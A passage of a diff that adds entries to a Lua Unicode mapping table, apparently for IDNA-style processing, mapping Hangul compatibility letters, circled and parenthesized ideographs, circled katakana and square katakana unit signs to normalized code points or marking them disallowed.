+ [0x3185] = 0x1158, -- HANGUL LETTER SSANGHIEUH
+ [0x3186] = 0x1159, -- HANGUL LETTER YEORINHIEUH
+ [0x3187] = 0x1184, -- HANGUL LETTER YO-YA
+ [0x3188] = 0x1185, -- HANGUL LETTER YO-YAE
+ [0x3189] = 0x1188, -- HANGUL LETTER YO-I
+ [0x318A] = 0x1191, -- HANGUL LETTER YU-YEO
+ [0x318B] = 0x1192, -- HANGUL LETTER YU-YE
+ [0x318C] = 0x1194, -- HANGUL LETTER YU-I
+ [0x318D] = 0x119E, -- HANGUL LETTER ARAEA
+ [0x318E] = 0x11A1, -- HANGUL LETTER ARAEAE
+ [0x318F] = {status="disallowed"}, -- NA <reserved-318F>
+ -- NA <reserved-312F>..<reserved-3130>
+ [0x312F] = {status="disallowed"},
+ [0x3130] = {status="disallowed"},
+ [0x3192] = 0x4E00, -- IDEOGRAPHIC ANNOTATION ONE MARK
+ [0x3193] = 0x4E8C, -- IDEOGRAPHIC ANNOTATION TWO MARK
+ [0x3194] = 0x4E09, -- IDEOGRAPHIC ANNOTATION THREE MARK
+ [0x3195] = 0x56DB, -- IDEOGRAPHIC ANNOTATION FOUR MARK
+ [0x3196] = 0x4E0A, -- IDEOGRAPHIC ANNOTATION TOP MARK
+ [0x3197] = 0x4E2D, -- IDEOGRAPHIC ANNOTATION MIDDLE MARK
+ [0x3198] = 0x4E0B, -- IDEOGRAPHIC ANNOTATION BOTTOM MARK
+ [0x3199] = 0x7532, -- IDEOGRAPHIC ANNOTATION FIRST MARK
+ [0x319A] = 0x4E59, -- IDEOGRAPHIC ANNOTATION SECOND MARK
+ [0x319B] = 0x4E19, -- IDEOGRAPHIC ANNOTATION THIRD MARK
+ [0x319C] = 0x4E01, -- IDEOGRAPHIC ANNOTATION FOURTH MARK
+ [0x319D] = 0x5929, -- IDEOGRAPHIC ANNOTATION HEAVEN MARK
+ [0x319E] = 0x5730, -- IDEOGRAPHIC ANNOTATION EARTH MARK
+ [0x319F] = 0x4EBA, -- IDEOGRAPHIC ANNOTATION MAN MARK
+ -- IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
+ [0x3190] = {status="disallowed"},
+ [0x3191] = {status="disallowed"},
+ -- NA <reserved-31BB>..<reserved-31BF>
+ [0x31BB] = {status="disallowed"},
+ [0x31BC] = {status="disallowed"},
+ [0x31BD] = {status="disallowed"},
+ [0x31BE] = {status="disallowed"},
+ [0x31BF] = {status="disallowed"},
+ [0x3200] = {status="disallowed"}, -- PARENTHESIZED HANGUL KIYEOK
+ [0x3201] = {status="disallowed"}, -- PARENTHESIZED HANGUL NIEUN
+ [0x3202] = {status="disallowed"}, -- PARENTHESIZED HANGUL TIKEUT
+ [0x3203] = {status="disallowed"}, -- PARENTHESIZED HANGUL RIEUL
+ [0x3204] = {status="disallowed"}, -- PARENTHESIZED HANGUL MIEUM
+ [0x3205] = {status="disallowed"}, -- PARENTHESIZED HANGUL PIEUP
+ [0x3206] = {status="disallowed"}, -- PARENTHESIZED HANGUL SIOS
+ [0x3207] = {status="disallowed"}, -- PARENTHESIZED HANGUL IEUNG
+ [0x3208] = {status="disallowed"}, -- PARENTHESIZED HANGUL CIEUC
+ [0x3209] = {status="disallowed"}, -- PARENTHESIZED HANGUL CHIEUCH
+ [0x320A] = {status="disallowed"}, -- PARENTHESIZED HANGUL KHIEUKH
+ [0x320B] = {status="disallowed"}, -- PARENTHESIZED HANGUL THIEUTH
+ [0x320C] = {status="disallowed"}, -- PARENTHESIZED HANGUL PHIEUPH
+ [0x320D] = {status="disallowed"}, -- PARENTHESIZED HANGUL HIEUH
+ [0x320E] = {status="disallowed"}, -- PARENTHESIZED HANGUL KIYEOK A
+ [0x320F] = {status="disallowed"}, -- PARENTHESIZED HANGUL NIEUN A
+ [0x3210] = {status="disallowed"}, -- PARENTHESIZED HANGUL TIKEUT A
+ [0x3211] = {status="disallowed"}, -- PARENTHESIZED HANGUL RIEUL A
+ [0x3212] = {status="disallowed"}, -- PARENTHESIZED HANGUL MIEUM A
+ [0x3213] = {status="disallowed"}, -- PARENTHESIZED HANGUL PIEUP A
+ [0x3214] = {status="disallowed"}, -- PARENTHESIZED HANGUL SIOS A
+ [0x3215] = {status="disallowed"}, -- PARENTHESIZED HANGUL IEUNG A
+ [0x3216] = {status="disallowed"}, -- PARENTHESIZED HANGUL CIEUC A
+ [0x3217] = {status="disallowed"}, -- PARENTHESIZED HANGUL CHIEUCH A
+ [0x3218] = {status="disallowed"}, -- PARENTHESIZED HANGUL KHIEUKH A
+ [0x3219] = {status="disallowed"}, -- PARENTHESIZED HANGUL THIEUTH A
+ [0x321A] = {status="disallowed"}, -- PARENTHESIZED HANGUL PHIEUPH A
+ [0x321B] = {status="disallowed"}, -- PARENTHESIZED HANGUL HIEUH A
+ [0x321C] = {status="disallowed"}, -- PARENTHESIZED HANGUL CIEUC U
+ [0x321D] = {status="disallowed"}, -- PARENTHESIZED KOREAN CHARACTER OJEON
+ [0x321E] = {status="disallowed"}, -- PARENTHESIZED KOREAN CHARACTER O HU
+ [0x321F] = {status="disallowed"}, -- NA <reserved-321F>
+ [0x3220] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH ONE
+ [0x3221] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH TWO
+ [0x3222] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH THREE
+ [0x3223] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH FOUR
+ [0x3224] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH FIVE
+ [0x3225] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH SIX
+ [0x3226] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH SEVEN
+ [0x3227] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH EIGHT
+ [0x3228] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH NINE
+ [0x3229] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH TEN
+ [0x322A] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH MOON
+ [0x322B] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH FIRE
+ [0x322C] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH WATER
+ [0x322D] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH WOOD
+ [0x322E] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH METAL
+ [0x322F] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH EARTH
+ [0x3230] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH SUN
+ [0x3231] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH STOCK
+ [0x3232] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH HAVE
+ [0x3233] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH SOCIETY
+ [0x3234] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH NAME
+ [0x3235] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH SPECIAL
+ [0x3236] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH FINANCIAL
+ [0x3237] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH CONGRATULATION
+ [0x3238] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH LABOR
+ [0x3239] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH REPRESENT
+ [0x323A] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH CALL
+ [0x323B] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH STUDY
+ [0x323C] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH SUPERVISE
+ [0x323D] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH ENTERPRISE
+ [0x323E] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH RESOURCE
+ [0x323F] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH ALLIANCE
+ [0x3240] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH FESTIVAL
+ [0x3241] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH REST
+ [0x3242] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH SELF
+ [0x3243] = {status="disallowed"}, -- PARENTHESIZED IDEOGRAPH REACH
+ [0x3244] = 0x554F, -- CIRCLED IDEOGRAPH QUESTION
+ [0x3245] = 0x5E7C, -- CIRCLED IDEOGRAPH KINDERGARTEN
+ [0x3246] = 0x6587, -- CIRCLED IDEOGRAPH SCHOOL
+ [0x3247] = 0x7B8F, -- CIRCLED IDEOGRAPH KOTO
+ [0x3250] = {0x0070, 0x0074, 0x0065}, -- PARTNERSHIP SIGN
+ [0x3251] = {0x0032, 0x0031}, -- CIRCLED NUMBER TWENTY ONE
+ [0x3252] = {0x0032, 0x0032}, -- CIRCLED NUMBER TWENTY TWO
+ [0x3253] = {0x0032, 0x0033}, -- CIRCLED NUMBER TWENTY THREE
+ [0x3254] = {0x0032, 0x0034}, -- CIRCLED NUMBER TWENTY FOUR
+ [0x3255] = {0x0032, 0x0035}, -- CIRCLED NUMBER TWENTY FIVE
+ [0x3256] = {0x0032, 0x0036}, -- CIRCLED NUMBER TWENTY SIX
+ [0x3257] = {0x0032, 0x0037}, -- CIRCLED NUMBER TWENTY SEVEN
+ [0x3258] = {0x0032, 0x0038}, -- CIRCLED NUMBER TWENTY EIGHT
+ [0x3259] = {0x0032, 0x0039}, -- CIRCLED NUMBER TWENTY NINE
+ [0x325A] = {0x0033, 0x0030}, -- CIRCLED NUMBER THIRTY
+ [0x325B] = {0x0033, 0x0031}, -- CIRCLED NUMBER THIRTY ONE
+ [0x325C] = {0x0033, 0x0032}, -- CIRCLED NUMBER THIRTY TWO
+ [0x325D] = {0x0033, 0x0033}, -- CIRCLED NUMBER THIRTY THREE
+ [0x325E] = {0x0033, 0x0034}, -- CIRCLED NUMBER THIRTY FOUR
+ [0x325F] = {0x0033, 0x0035}, -- CIRCLED NUMBER THIRTY FIVE
+ [0x3260] = 0x1100, -- CIRCLED HANGUL KIYEOK
+ [0x3261] = 0x1102, -- CIRCLED HANGUL NIEUN
+ [0x3262] = 0x1103, -- CIRCLED HANGUL TIKEUT
+ [0x3263] = 0x1105, -- CIRCLED HANGUL RIEUL
+ [0x3264] = 0x1106, -- CIRCLED HANGUL MIEUM
+ [0x3265] = 0x1107, -- CIRCLED HANGUL PIEUP
+ [0x3266] = 0x1109, -- CIRCLED HANGUL SIOS
+ [0x3267] = 0x110B, -- CIRCLED HANGUL IEUNG
+ [0x3268] = 0x110C, -- CIRCLED HANGUL CIEUC
+ [0x3269] = 0x110E, -- CIRCLED HANGUL CHIEUCH
+ [0x326A] = 0x110F, -- CIRCLED HANGUL KHIEUKH
+ [0x326B] = 0x1110, -- CIRCLED HANGUL THIEUTH
+ [0x326C] = 0x1111, -- CIRCLED HANGUL PHIEUPH
+ [0x326D] = 0x1112, -- CIRCLED HANGUL HIEUH
+ [0x326E] = 0xAC00, -- CIRCLED HANGUL KIYEOK A
+ [0x326F] = 0xB098, -- CIRCLED HANGUL NIEUN A
+ [0x3270] = 0xB2E4, -- CIRCLED HANGUL TIKEUT A
+ [0x3271] = 0xB77C, -- CIRCLED HANGUL RIEUL A
+ [0x3272] = 0xB9C8, -- CIRCLED HANGUL MIEUM A
+ [0x3273] = 0xBC14, -- CIRCLED HANGUL PIEUP A
+ [0x3274] = 0xC0AC, -- CIRCLED HANGUL SIOS A
+ [0x3275] = 0xC544, -- CIRCLED HANGUL IEUNG A
+ [0x3276] = 0xC790, -- CIRCLED HANGUL CIEUC A
+ [0x3277] = 0xCC28, -- CIRCLED HANGUL CHIEUCH A
+ [0x3278] = 0xCE74, -- CIRCLED HANGUL KHIEUKH A
+ [0x3279] = 0xD0C0, -- CIRCLED HANGUL THIEUTH A
+ [0x327A] = 0xD30C, -- CIRCLED HANGUL PHIEUPH A
+ [0x327B] = 0xD558, -- CIRCLED HANGUL HIEUH A
+ [0x327C] = {0xCC38, 0xACE0}, -- CIRCLED KOREAN CHARACTER CHAMKO
+ [0x327D] = {0xC8FC, 0xC758}, -- CIRCLED KOREAN CHARACTER JUEUI
+ [0x327E] = 0xC6B0, -- CIRCLED HANGUL IEUNG U
+ [0x327F] = {status="disallowed"}, -- KOREAN STANDARD SYMBOL
+ [0x3280] = 0x4E00, -- CIRCLED IDEOGRAPH ONE
+ [0x3281] = 0x4E8C, -- CIRCLED IDEOGRAPH TWO
+ [0x3282] = 0x4E09, -- CIRCLED IDEOGRAPH THREE
+ [0x3283] = 0x56DB, -- CIRCLED IDEOGRAPH FOUR
+ [0x3284] = 0x4E94, -- CIRCLED IDEOGRAPH FIVE
+ [0x3285] = 0x516D, -- CIRCLED IDEOGRAPH SIX
+ [0x3286] = 0x4E03, -- CIRCLED IDEOGRAPH SEVEN
+ [0x3287] = 0x516B, -- CIRCLED IDEOGRAPH EIGHT
+ [0x3288] = 0x4E5D, -- CIRCLED IDEOGRAPH NINE
+ [0x3289] = 0x5341, -- CIRCLED IDEOGRAPH TEN
+ [0x328A] = 0x6708, -- CIRCLED IDEOGRAPH MOON
+ [0x328B] = 0x706B, -- CIRCLED IDEOGRAPH FIRE
+ [0x328C] = 0x6C34, -- CIRCLED IDEOGRAPH WATER
+ [0x328D] = 0x6728, -- CIRCLED IDEOGRAPH WOOD
+ [0x328E] = 0x91D1, -- CIRCLED IDEOGRAPH METAL
+ [0x328F] = 0x571F, -- CIRCLED IDEOGRAPH EARTH
+ [0x3290] = 0x65E5, -- CIRCLED IDEOGRAPH SUN
+ [0x3291] = 0x682A, -- CIRCLED IDEOGRAPH STOCK
+ [0x3292] = 0x6709, -- CIRCLED IDEOGRAPH HAVE
+ [0x3293] = 0x793E, -- CIRCLED IDEOGRAPH SOCIETY
+ [0x3294] = 0x540D, -- CIRCLED IDEOGRAPH NAME
+ [0x3295] = 0x7279, -- CIRCLED IDEOGRAPH SPECIAL
+ [0x3296] = 0x8CA1, -- CIRCLED IDEOGRAPH FINANCIAL
+ [0x3297] = 0x795D, -- CIRCLED IDEOGRAPH CONGRATULATION
+ [0x3298] = 0x52B4, -- CIRCLED IDEOGRAPH LABOR
+ [0x3299] = 0x79D8, -- CIRCLED IDEOGRAPH SECRET
+ [0x329A] = 0x7537, -- CIRCLED IDEOGRAPH MALE
+ [0x329B] = 0x5973, -- CIRCLED IDEOGRAPH FEMALE
+ [0x329C] = 0x9069, -- CIRCLED IDEOGRAPH SUITABLE
+ [0x329D] = 0x512A, -- CIRCLED IDEOGRAPH EXCELLENT
+ [0x329E] = 0x5370, -- CIRCLED IDEOGRAPH PRINT
+ [0x329F] = 0x6CE8, -- CIRCLED IDEOGRAPH ATTENTION
+ [0x32A0] = 0x9805, -- CIRCLED IDEOGRAPH ITEM
+ [0x32A1] = 0x4F11, -- CIRCLED IDEOGRAPH REST
+ [0x32A2] = 0x5199, -- CIRCLED IDEOGRAPH COPY
+ [0x32A3] = 0x6B63, -- CIRCLED IDEOGRAPH CORRECT
+ [0x32A4] = 0x4E0A, -- CIRCLED IDEOGRAPH HIGH
+ [0x32A5] = 0x4E2D, -- CIRCLED IDEOGRAPH CENTRE
+ [0x32A6] = 0x4E0B, -- CIRCLED IDEOGRAPH LOW
+ [0x32A7] = 0x5DE6, -- CIRCLED IDEOGRAPH LEFT
+ [0x32A8] = 0x53F3, -- CIRCLED IDEOGRAPH RIGHT
+ [0x32A9] = 0x533B, -- CIRCLED IDEOGRAPH MEDICINE
+ [0x32AA] = 0x5B97, -- CIRCLED IDEOGRAPH RELIGION
+ [0x32AB] = 0x5B66, -- CIRCLED IDEOGRAPH STUDY
+ [0x32AC] = 0x76E3, -- CIRCLED IDEOGRAPH SUPERVISE
+ [0x32AD] = 0x4F01, -- CIRCLED IDEOGRAPH ENTERPRISE
+ [0x32AE] = 0x8CC7, -- CIRCLED IDEOGRAPH RESOURCE
+ [0x32AF] = 0x5354, -- CIRCLED IDEOGRAPH ALLIANCE
+ [0x32B0] = 0x591C, -- CIRCLED IDEOGRAPH NIGHT
+ [0x32B1] = {0x0033, 0x0036}, -- CIRCLED NUMBER THIRTY SIX
+ [0x32B2] = {0x0033, 0x0037}, -- CIRCLED NUMBER THIRTY SEVEN
+ [0x32B3] = {0x0033, 0x0038}, -- CIRCLED NUMBER THIRTY EIGHT
+ [0x32B4] = {0x0033, 0x0039}, -- CIRCLED NUMBER THIRTY NINE
+ [0x32B5] = {0x0034, 0x0030}, -- CIRCLED NUMBER FORTY
+ [0x32B6] = {0x0034, 0x0031}, -- CIRCLED NUMBER FORTY ONE
+ [0x32B7] = {0x0034, 0x0032}, -- CIRCLED NUMBER FORTY TWO
+ [0x32B8] = {0x0034, 0x0033}, -- CIRCLED NUMBER FORTY THREE
+ [0x32B9] = {0x0034, 0x0034}, -- CIRCLED NUMBER FORTY FOUR
+ [0x32BA] = {0x0034, 0x0035}, -- CIRCLED NUMBER FORTY FIVE
+ [0x32BB] = {0x0034, 0x0036}, -- CIRCLED NUMBER FORTY SIX
+ [0x32BC] = {0x0034, 0x0037}, -- CIRCLED NUMBER FORTY SEVEN
+ [0x32BD] = {0x0034, 0x0038}, -- CIRCLED NUMBER FORTY EIGHT
+ [0x32BE] = {0x0034, 0x0039}, -- CIRCLED NUMBER FORTY NINE
+ [0x32BF] = {0x0035, 0x0030}, -- CIRCLED NUMBER FIFTY
+ [0x32C0] = {0x0031, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
+ [0x32C1] = {0x0032, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
+ [0x32C2] = {0x0033, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
+ [0x32C3] = {0x0034, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
+ [0x32C4] = {0x0035, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
+ [0x32C5] = {0x0036, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
+ [0x32C6] = {0x0037, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
+ [0x32C7] = {0x0038, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
+ [0x32C8] = {0x0039, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
+ [0x32C9] = {0x0031, 0x0030, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR OCTOBER
+ [0x32CA] = {0x0031, 0x0031, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR NOVEMBER
+ [0x32CB] = {0x0031, 0x0032, 0x6708}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DECEMBER
+ [0x32CC] = {0x0068, 0x0067}, -- SQUARE HG
+ [0x32CD] = {0x0065, 0x0072, 0x0067}, -- SQUARE ERG
+ [0x32CE] = {0x0065, 0x0076}, -- SQUARE EV
+ [0x32CF] = {0x006C, 0x0074, 0x0064}, -- LIMITED LIABILITY SIGN
+ [0x32D0] = 0x30A2, -- CIRCLED KATAKANA A
+ [0x32D1] = 0x30A4, -- CIRCLED KATAKANA I
+ [0x32D2] = 0x30A6, -- CIRCLED KATAKANA U
+ [0x32D3] = 0x30A8, -- CIRCLED KATAKANA E
+ [0x32D4] = 0x30AA, -- CIRCLED KATAKANA O
+ [0x32D5] = 0x30AB, -- CIRCLED KATAKANA KA
+ [0x32D6] = 0x30AD, -- CIRCLED KATAKANA KI
+ [0x32D7] = 0x30AF, -- CIRCLED KATAKANA KU
+ [0x32D8] = 0x30B1, -- CIRCLED KATAKANA KE
+ [0x32D9] = 0x30B3, -- CIRCLED KATAKANA KO
+ [0x32DA] = 0x30B5, -- CIRCLED KATAKANA SA
+ [0x32DB] = 0x30B7, -- CIRCLED KATAKANA SI
+ [0x32DC] = 0x30B9, -- CIRCLED KATAKANA SU
+ [0x32DD] = 0x30BB, -- CIRCLED KATAKANA SE
+ [0x32DE] = 0x30BD, -- CIRCLED KATAKANA SO
+ [0x32DF] = 0x30BF, -- CIRCLED KATAKANA TA
+ [0x32E0] = 0x30C1, -- CIRCLED KATAKANA TI
+ [0x32E1] = 0x30C4, -- CIRCLED KATAKANA TU
+ [0x32E2] = 0x30C6, -- CIRCLED KATAKANA TE
+ [0x32E3] = 0x30C8, -- CIRCLED KATAKANA TO
+ [0x32E4] = 0x30CA, -- CIRCLED KATAKANA NA
+ [0x32E5] = 0x30CB, -- CIRCLED KATAKANA NI
+ [0x32E6] = 0x30CC, -- CIRCLED KATAKANA NU
+ [0x32E7] = 0x30CD, -- CIRCLED KATAKANA NE
+ [0x32E8] = 0x30CE, -- CIRCLED KATAKANA NO
+ [0x32E9] = 0x30CF, -- CIRCLED KATAKANA HA
+ [0x32EA] = 0x30D2, -- CIRCLED KATAKANA HI
+ [0x32EB] = 0x30D5, -- CIRCLED KATAKANA HU
+ [0x32EC] = 0x30D8, -- CIRCLED KATAKANA HE
+ [0x32ED] = 0x30DB, -- CIRCLED KATAKANA HO
+ [0x32EE] = 0x30DE, -- CIRCLED KATAKANA MA
+ [0x32EF] = 0x30DF, -- CIRCLED KATAKANA MI
+ [0x32F0] = 0x30E0, -- CIRCLED KATAKANA MU
+ [0x32F1] = 0x30E1, -- CIRCLED KATAKANA ME
+ [0x32F2] = 0x30E2, -- CIRCLED KATAKANA MO
+ [0x32F3] = 0x30E4, -- CIRCLED KATAKANA YA
+ [0x32F4] = 0x30E6, -- CIRCLED KATAKANA YU
+ [0x32F5] = 0x30E8, -- CIRCLED KATAKANA YO
+ [0x32F6] = 0x30E9, -- CIRCLED KATAKANA RA
+ [0x32F7] = 0x30EA, -- CIRCLED KATAKANA RI
+ [0x32F8] = 0x30EB, -- CIRCLED KATAKANA RU
+ [0x32F9] = 0x30EC, -- CIRCLED KATAKANA RE
+ [0x32FA] = 0x30ED, -- CIRCLED KATAKANA RO
+ [0x32FB] = 0x30EF, -- CIRCLED KATAKANA WA
+ [0x32FC] = 0x30F0, -- CIRCLED KATAKANA WI
+ [0x32FD] = 0x30F1, -- CIRCLED KATAKANA WE
+ [0x32FE] = 0x30F2, -- CIRCLED KATAKANA WO
+ [0x32FF] = {status="disallowed"}, -- NA <reserved-32FF>
+ [0x3300] = {0x30A2, 0x30D1, 0x30FC, 0x30C8}, -- SQUARE APAATO
+ [0x3301] = {0x30A2, 0x30EB, 0x30D5, 0x30A1}, -- SQUARE ARUHUA
+ [0x3302] = {0x30A2, 0x30F3, 0x30DA, 0x30A2}, -- SQUARE ANPEA
+ [0x3303] = {0x30A2, 0x30FC, 0x30EB}, -- SQUARE AARU
+ [0x3304] = {0x30A4, 0x30CB, 0x30F3, 0x30B0}, -- SQUARE ININGU
+ [0x3305] = {0x30A4, 0x30F3, 0x30C1}, -- SQUARE INTI
+ [0x3306] = {0x30A6, 0x30A9, 0x30F3}, -- SQUARE UON
+ [0x3307] = {0x30A8, 0x30B9, 0x30AF, 0x30FC, 0x30C9}, -- SQUARE ESUKUUDO
+ [0x3308] = {0x30A8, 0x30FC, 0x30AB, 0x30FC}, -- SQUARE EEKAA
+ [0x3309] = {0x30AA, 0x30F3, 0x30B9}, -- SQUARE ONSU
+ [0x330A] = {0x30AA, 0x30FC, 0x30E0}, -- SQUARE OOMU
+ [0x330B] = {0x30AB, 0x30A4, 0x30EA}, -- SQUARE KAIRI
+ [0x330C] = {0x30AB, 0x30E9, 0x30C3, 0x30C8}, -- SQUARE KARATTO
+ [0x330D] = {0x30AB, 0x30ED, 0x30EA, 0x30FC}, -- SQUARE KARORII
+ [0x330E] = {0x30AC, 0x30ED, 0x30F3}, -- SQUARE GARON
+ [0x330F] = {0x30AC, 0x30F3, 0x30DE}, -- SQUARE GANMA
+ [0x3310] = {0x30AE, 0x30AC}, -- SQUARE GIGA
+ [0x3311] = {0x30AE, 0x30CB, 0x30FC}, -- SQUARE GINII
+ [0x3312] = {0x30AD, 0x30E5, 0x30EA, 0x30FC}, -- SQUARE KYURII
+ [0x3313] = {0x30AE, 0x30EB, 0x30C0, 0x30FC}, -- SQUARE GIRUDAA
+ [0x3314] = {0x30AD, 0x30ED}, -- SQUARE KIRO
+ [0x3315] = {0x30AD, 0x30ED, 0x30B0, 0x30E9, 0x30E0}, -- SQUARE KIROGURAMU
+ [0x3316] = {0x30AD, 0x30ED, 0x30E1, 0x30FC, 0x30C8, 0x30EB}, -- SQUARE KIROMEETORU
+ [0x3317] = {0x30AD, 0x30ED, 0x30EF, 0x30C3, 0x30C8}, -- SQUARE KIROWATTO
+ [0x3318] = {0x30B0, 0x30E9, 0x30E0}, -- SQUARE GURAMU
+ [0x3319] = {0x30B0, 0x30E9, 0x30E0, 0x30C8, 0x30F3}, -- SQUARE GURAMUTON
+ [0x331A] = {0x30AF, 0x30EB, 0x30BC, 0x30A4, 0x30ED}, -- SQUARE KURUZEIRO
+ [0x331B] = {0x30AF, 0x30ED, 0x30FC, 0x30CD}, -- SQUARE KUROONE
+ [0x331C] = {0x30B1, 0x30FC, 0x30B9}, -- SQUARE KEESU
+ [0x331D] = {0x30B3, 0x30EB, 0x30CA}, -- SQUARE KORUNA
+ [0x331E] = {0x30B3, 0x30FC, 0x30DD}, -- SQUARE KOOPO
+ [0x331F] = {0x30B5, 0x30A4, 0x30AF, 0x30EB}, -- SQUARE SAIKURU
+ [0x3320] = {0x30B5, 0x30F3, 0x30C1, 0x30FC, 0x30E0}, -- SQUARE SANTIIMU
+ [0x3321] = {0x30B7, 0x30EA, 0x30F3, 0x30B0}, -- SQUARE SIRINGU
+ [0x3322] = {0x30BB, 0x30F3, 0x30C1}, -- SQUARE SENTI
+ [0x3323] = {0x30BB, 0x30F3, 0x30C8}, -- SQUARE SENTO
+ [0x3324] = {0x30C0, 0x30FC, 0x30B9}, -- SQUARE DAASU
+ [0x3325] = {0x30C7, 0x30B7}, -- SQUARE DESI
+ [0x3326] = {0x30C9, 0x30EB}, -- SQUARE DORU
+ [0x3327] = {0x30C8, 0x30F3}, -- SQUARE TON
+ [0x3328] = {0x30CA, 0x30CE}, -- SQUARE NANO
+ [0x3329] = {0x30CE, 0x30C3, 0x30C8}, -- SQUARE NOTTO
+ [0x332A] = {0x30CF, 0x30A4, 0x30C4}, -- SQUARE HAITU
+ [0x332B] = {0x30D1, 0x30FC, 0x30BB, 0x30F3, 0x30C8}, -- SQUARE PAASENTO
+ [0x332C] = {0x30D1, 0x30FC, 0x30C4}, -- SQUARE PAATU
+ [0x332D] = {0x30D0, 0x30FC, 0x30EC, 0x30EB}, -- SQUARE BAARERU
+ [0x332E] = {0x30D4, 0x30A2, 0x30B9, 0x30C8, 0x30EB}, -- SQUARE PIASUTORU
+ [0x332F] = {0x30D4, 0x30AF, 0x30EB}, -- SQUARE PIKURU
+ [0x3330] = {0x30D4, 0x30B3}, -- SQUARE PIKO
+ [0x3331] = {0x30D3, 0x30EB}, -- SQUARE BIRU
+ [0x3332] = {0x30D5, 0x30A1, 0x30E9, 0x30C3, 0x30C9}, -- SQUARE HUARADDO
+ [0x3333] = {0x30D5, 0x30A3, 0x30FC, 0x30C8}, -- SQUARE HUIITO
+ [0x3334] = {0x30D6, 0x30C3, 0x30B7, 0x30A7, 0x30EB}, -- SQUARE BUSSYERU
+ [0x3335] = {0x30D5, 0x30E9, 0x30F3}, -- SQUARE HURAN
+ [0x3336] = {0x30D8, 0x30AF, 0x30BF, 0x30FC, 0x30EB}, -- SQUARE HEKUTAARU
+ [0x3337] = {0x30DA, 0x30BD}, -- SQUARE PESO
+ [0x3338] = {0x30DA, 0x30CB, 0x30D2}, -- SQUARE PENIHI
+ [0x3339] = {0x30D8, 0x30EB, 0x30C4}, -- SQUARE HERUTU
+ [0x333A] = {0x30DA, 0x30F3, 0x30B9}, -- SQUARE PENSU
+ [0x333B] = {0x30DA, 0x30FC, 0x30B8}, -- SQUARE PEEZI
+ [0x333C] = {0x30D9, 0x30FC, 0x30BF}, -- SQUARE BEETA
+ [0x333D] = {0x30DD, 0x30A4, 0x30F3, 0x30C8}, -- SQUARE POINTO
+ [0x333E] = {0x30DC, 0x30EB, 0x30C8}, -- SQUARE BORUTO
+ [0x333F] = {0x30DB, 0x30F3}, -- SQUARE HON
+ [0x3340] = {0x30DD, 0x30F3, 0x30C9}, -- SQUARE PONDO
+ [0x3341] = {0x30DB, 0x30FC, 0x30EB}, -- SQUARE HOORU
+ [0x3342] = {0x30DB, 0x30FC, 0x30F3}, -- SQUARE HOON
+ [0x3343] = {0x30DE, 0x30A4, 0x30AF, 0x30ED}, -- SQUARE MAIKURO
+ [0x3344] = {0x30DE, 0x30A4, 0x30EB}, -- SQUARE MAIRU
+ [0x3345] = {0x30DE, 0x30C3, 0x30CF}, -- SQUARE MAHHA
+ [0x3346] = {0x30DE, 0x30EB, 0x30AF}, -- SQUARE MARUKU
+ [0x3347] = {0x30DE, 0x30F3, 0x30B7, 0x30E7, 0x30F3}, -- SQUARE MANSYON
+ [0x3348] = {0x30DF, 0x30AF, 0x30ED, 0x30F3}, -- SQUARE MIKURON
+ [0x3349] = {0x30DF, 0x30EA}, -- SQUARE MIRI
+ [0x334A] = {0x30DF, 0x30EA, 0x30D0, 0x30FC, 0x30EB}, -- SQUARE MIRIBAARU
+ [0x334B] = {0x30E1, 0x30AC}, -- SQUARE MEGA
+ [0x334C] = {0x30E1, 0x30AC, 0x30C8, 0x30F3}, -- SQUARE MEGATON
+ [0x334D] = {0x30E1, 0x30FC, 0x30C8, 0x30EB}, -- SQUARE MEETORU
